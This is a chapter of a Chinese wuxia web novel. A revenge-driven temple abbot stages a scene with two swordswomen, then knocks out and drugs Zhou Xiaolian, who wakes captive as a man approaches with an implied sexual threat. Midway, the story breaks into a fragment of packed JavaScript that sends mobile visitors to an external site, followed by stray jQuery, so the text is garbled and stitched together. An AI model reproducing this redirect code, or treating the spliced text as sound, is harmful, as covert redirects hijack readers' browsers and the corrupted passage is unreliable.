黄金台这一代的住持原名姓杜,出生时日光晴好,名便取“晴堂”二字。
杜晴堂如今已是不惑之年,他皈依佛法是二十余年前,具体是什么年纪,他早已记不清了。
进入黄金台前的记忆一直停留在多年前,他从安水村离开时的样子。
而如今一想到安水村,杜晴堂不免感到些痛快和轻松。
一把火,烧得一干二净,让那些村民尸骨无存还不够。当年杜晴堂尚才五六岁,字还不识的年纪,就先知道了何为血海深仇。
他被安水村的村民强行收养,亲眼看着自己的母亲因为被告不贞而被沉塘。杜晴堂忍辱负重至今,就是为了把那些伪君子都开膛破肚,晒在太阳底下,鞭上一回又一回,鞭到只有苍蝇和鬣狗才愿意啃食他们,才能消弭他心中那一点恨意……
大雄宝殿侧殿无人入内参拜,此地依稀可听见正殿传来的热闹,巨大的佛像庄重肃穆,稳稳坐在台上。今日无风无云,日光已热烈到发白。
可光明明是从大殿正门穿透,照射在佛身,影子却是从上面轰隆隆压下。如一片阴云般,彻底扣住了在案旁面带讥诮的杜晴堂——无念。
无念是他如今的法号。
这是他生父善德,上一代住持兼方丈给他起的。
黄金台里没人知道他们父子之间的关系,也没人知道老住持之死其实根本不是他坐化得道,破戒的贼僧,怎么可以得道?
无念不信佛。
信佛,信报应轮回的人,是做不了黄金台的住持的。
就在无念伸手,正想要如往常一般为面前的菩萨奉三柱香的时候,案上的线香竟似受潮多时般,软趴趴的断开了。
不等他多想此等情态是否是什么不祥的预兆,张昆玉就已经沉着一张脸,将身上破破烂烂挂彩的周小怜往殿内一扔,少女结结实实的摔砸在无念的脚边。
周小怜满脸都是备受背叛的不可思议,她神态惴惴不安,像一只被扼住脖颈,垂死挣扎的兔子。
无念高高在上,一动不动地凝视着周小怜的眼睛和脸颊,他没有第一时间开口问询到底发生了什么事情?无念只是平静的双手合十,微微颔首。
周小怜就连余光都没有在扫无念的衣角,本能却让她感受到无念的目光像毒蛇的信子一样,一寸寸舔舐着她刻意流露出来的恐惧——享受,他在享受着周小怜和张昆玉演出的这场好戏。
周小怜硬着头皮,到了这个地步,她必须继续进行这场拙劣的戏码。
只要咬死了两人之间的不合,无念也无法印证他心中的怀疑。神光斋步步紧逼,烧香天只能被迫接受自己这一枚筹码。
周小怜挣扎着仰起头,她目眦欲裂,似乎怎么也不相信张昆玉会这样对她。
少女的喉咙几乎要被一寸寸撕裂,她崩溃地发出极为压抑凄惨的悲鸣,一点一点扭着身体挪过去,却被张昆玉抬手一剑钉住衣角,怎么也挣脱不开。
她夸张地悲泣道:“你被他们骗了,昆玉姐!”
“他们才是叛党,他们不会去救那些人的!昆玉——”
张昆玉冷面无情,她坚持与和乌兆星牵连上的周小怜斩断一切关联:“到底是害死甘少侠,和乌兆星同流合污的你可信;还是一直为民做事,慈悲为怀照拂苍生的无念法师可信,我自有定夺。”
蠢女人,居然把害死甘霖的事情都说给张昆玉听了。
无念在心里默默地想着,但也对现在从周小怜嘴里被坐实的甘霖之死感到好笑:他早就觉得甘霖、褚见珏、乌兆星,还有那个地底下被关着的皇子都是蠢货。
居然为一个女人争来抢去……
不过周小怜——的确有些姿色——她头发此时因为方才的动作,一丝一缕乱糟糟的黏在脸上,嘴唇血色淡淡。张昆玉对她的无情,让她整个人宛如惊弓之鸟一样打颤。
周小怜都暗叹自己居然那么会装,她又发出一声哀鸣:“昆玉姐……”
无念欣赏够了小怜奄奄一息的惨状,这才施施然开口:“张施主,这是怎么一回事?”
张昆玉睨着趴在地上的小怜,朝无念一拱手:“此人本是周汀情的妹妹,洗雪山庄的二小姐,也是我的旧识。”
“方才我在正殿遇到她,还以为她是因为洗雪山庄有什么急事才找来。结果她偷偷摸摸找上我,竟是为了告诉我,黄金台烧香天两处都与逆党有所牵连,意在谋反,”张昆玉厉声说着,神情又好像对小怜极为失望,她摇了摇头,“可她身边那个人,正是江湖凶名在外的乌兆星……”
无念闻言,也顺着张昆玉的话故作震惊:“谋反可是大不敬,这位二小姐出身洗雪山庄,怎会对我寺有如此误会?”
“我呸!”周小怜恶狠狠扭过头朝他吐口水,毫不留情地唾弃道,“你们这群道貌岸然的疯子!郡外安水村就是你们做的——你们杀了那么多人——”
“安水村?这又是……”无念佯作不知,只是皱眉凝视小怜,“这位施主,可是对我寺有什么误会?我们在岁末时常为郡外的村落布施,但不曾有过什么其他的交集了。”
张昆玉道:“她就是被那魔头迷惑了心智,一时分不清楚。”
“无论如何,方才我与他们两人在藏经阁旁大打出手,却不慎让乌兆星逃走。若是不能缉拿,只怕此人会惹出大祸……周二小姐心性不坏,想必是受人蒙骗才会如此行事。”
张昆玉蹲下身,伸手掐住周小怜的下巴,逼迫她与自己四目相对:“不知……无念住持是否愿意帮我短暂收留我这个妹妹?任由她在外面游历,我实在不放心。”
“等我拿下那魔头,我会回来带她离开,不会让她给住持添麻烦。”张昆玉一边说着,一边出手在周小怜身上连点几下。
周小怜失声道:“别把我放在这里!昆玉姐,他们会杀了我的……我的真气……不、不行!我会死的!”
无念站在一旁,如火上浇油般道:“这位女施主身手不凡,黄金台虽愿意解张施主之急,然女施主终究有男女大防,不如……”
张昆玉松开手,只客气与无念道:“韦郡我人生地不熟,唯有大师一人是老乔的旧友,还请住持就当卖我一个人情,帮我一回。想来来日洗雪山庄,也会感念住持无上功德。”
“阿弥陀佛。”
无念假模假样念了一声,执拗不过张昆玉的请求。他目送张昆玉拔剑离开,周小怜失魂落魄的倒下,额头狠狠地磕在地上。
无念并不急着对周小怜先做什么,他背过身,继续取出新的香柱,他要完成张昆玉闯入前自己还未做完的日课。
周小怜摇摇晃晃地从地上站起,她没有出手,只是哑声道:“你是如何诓骗她,竟将她那样正义的侠士,骗得如此对你们这群人面兽心的家伙所言,深信不疑!”
“甘霖没有告诉过你这是什么道理吗?”面对已经知晓泰半的周小怜,无念并没有什么继续要装下去的必要,他实际也懒得与张昆玉装:“也是,想必就算他告诉你了,像你们这样天真的孩子,也始终是不能理解的。”
无念将火挥灭,燃烧的香柱被他插在满载香灰的炉上,他做完一切,这才悠悠地转过身来:“周二小姐既然来都来了,不如便与我走一趟,见见故人吧。”
“反正,你来到这里,也是打的这个主意。你想见谁?焦青帝?还是褚见珏?”
周小怜对上他那讥讽的视线,神色又黯然几分。她脚步下意识往后挪了一些,两人的影子打在地上,无念的影子却扭曲的像是一只野兽的形状。
周小怜道:“我要见阮真棋。”
无念了然一笑,他并没有继续对面前狼狈的周小怜下手,而是抬步从小怜身旁经过,往侧殿外走:“你为了他这样上刀山下火海,只怕他不会念着你的好。”
“倒不如,你多想着褚公子一些,他不会害你的。”
“去死吧他。”一提到褚见珏,周小怜就毫不留情地回嘴道。
无念倒是相当好为人师,似乎眼下发生的一切,将来会发生的那些事情都与他无关。
小怜咬咬牙,起身拍拍裙子上的灰,顺便整理了一下衣冠——头上打得只剩下一根簪子,发髻也七零八落,周小怜自己拆不来头发,只能眼不见心不乱的把簪子随便找个地方插好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365528|179066||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她一声不吭地跟在无念的身后,没有想过事情接下来会这样平静的展开。如此这般,若是如愿能见到阮真棋,也算是达到目的了。
来到这里之前,周小怜还以为事情会是那种:张昆玉与她决裂,无念伺机对她拳脚相加顺便把她扔入地牢,然后她正好能在地牢里救出阮真棋的走向呢……
周小怜想得有些出神,松懈了对面前黄金台住持的防备。她刚踏出侧殿门槛,后脚还没抬起来,却又猝不及防脖颈一痛,身子隐隐有些发软,跌在无念已朝她张开的怀抱中。
小怜勉强自己没挨这一下就彻底晕倒,她抬眼望去,无念已转过身来,笑眯眯地望着自己。
“可以见是可以见,只不过,我可千万不能让你知道要怎么去啊,周二小姐。”
“你也去……”
周小怜对这一招偷袭始料未及,她想说你也去死,无念已不给她机会了。
他转眼又是手起刀落,一掌复又劈在小怜后脖,小怜眼前一黑,彻底晕厥。
“……居然……才倒……真是个麻烦……”无念感慨的声音渐渐远去。
周小怜再度醒来的时候,已经身处在一间看上去相当精致华美的房间中。
此地珠帘云屏,奇珍异宝数不胜数,一件件摆设妥当,四周还都挂着大小不一的画卷。若是小怜此时仔细打量一番,必会讶异于单这一处的规格,就已经远超出她在洗雪山庄居住的那个小院……此地,真的是黄金台内会有的地方吗?
她不知自己昏睡了多久,脖颈处的痛还朝她的脑子叫嚣。周小怜迷迷糊糊,她想要睁开眼睛看看到底现在自己在哪,发生了什么事情——可尚存的意识发现自己怎么样也没法清醒地睁开眼睛——不行,不对。本能大感不妙。
周小怜反复扭动身体,潜意识已认知到如今自己现在正身处于危险之中,她滚动起来,身体蓦地一空……原来方才是睡在什么床榻上的吗?
少女的身体没有什么东西阻挡,就这样直截了当的从床榻上滚落下去。她先是重重砸在木踏蹬上,后又因势滚到地上,撞在木桌旁才止住。
周小怜又闻到一股相当刺鼻的荷花香气。
她被这一撞撞得头昏脑涨,眼睛虽然能勉强睁开了,但眼前更是天旋地转。周小怜明明感觉自己喉头发胀,想吐,下意识干呕几声,却什么都没有从胃里反上来。
好在是摔到地上,门缝里流进来些清冽的风,周小怜眼前一片模糊,却因为习武之人对外界的敏感,她能感受到微弱的气流。
她现在什么都看不清,只能一点点在地上蠕动,靠风流的强弱来分辨方向,手脚并用地往门的方向爬。
然而,就在她周小怜即将爬到门口,就差一步便能逃离此地的时候,她突然听见了一种沉重的,在半空中摇晃着的声音。
锁链,叮叮当当的响。
周小怜拼命伸长了手,可只有手指尖碰到了门扉——用一点点力,就能推开面前这扇门。周小怜另一只手按在腰间,她胡乱摸着自己的腰,直至摸到两个硬硬的小瓷瓶,周小怜慌乱不已的心才缓缓镇定一些。
她像一条干涸已久的鱼,拼命地把脸凑在门缝底下,努力让自己吸闻到干净的风,而不是被这里的香气搅乱了脑子。
“啊……我说呢,好响的声音啊,怎么这么有力气折腾。”
从小怜的身后,缓缓传来了一种如梦似幻,虚无缥缈的声音。周小怜这会儿还很迟钝的脑子努力转了转——这是熟悉的声音。
男人起身下床,衣裳窸窸窣窣,一点点从后面走过来,稳步靠近匍匐在地的小怜。
他俯下身子,伸手捞住小怜的腰肢。周小怜脑子空白,只牢牢记着绝对不能被人发现腰里的瓷瓶——现在逃不出去也就算了,过一会儿,总有机会的……
周小怜死死捂住自己的腰,男人似乎真的没有察觉出有什么不对劲的地方。
他嘴里还在轻飘飘的絮絮叨叨,温声细语的去诱哄着死死扒住门扉的小怜:“好孩子——不,好娘子,别动了,掉下来撞得疼不疼啊……”
“让我看看,让相公看看,好不好?”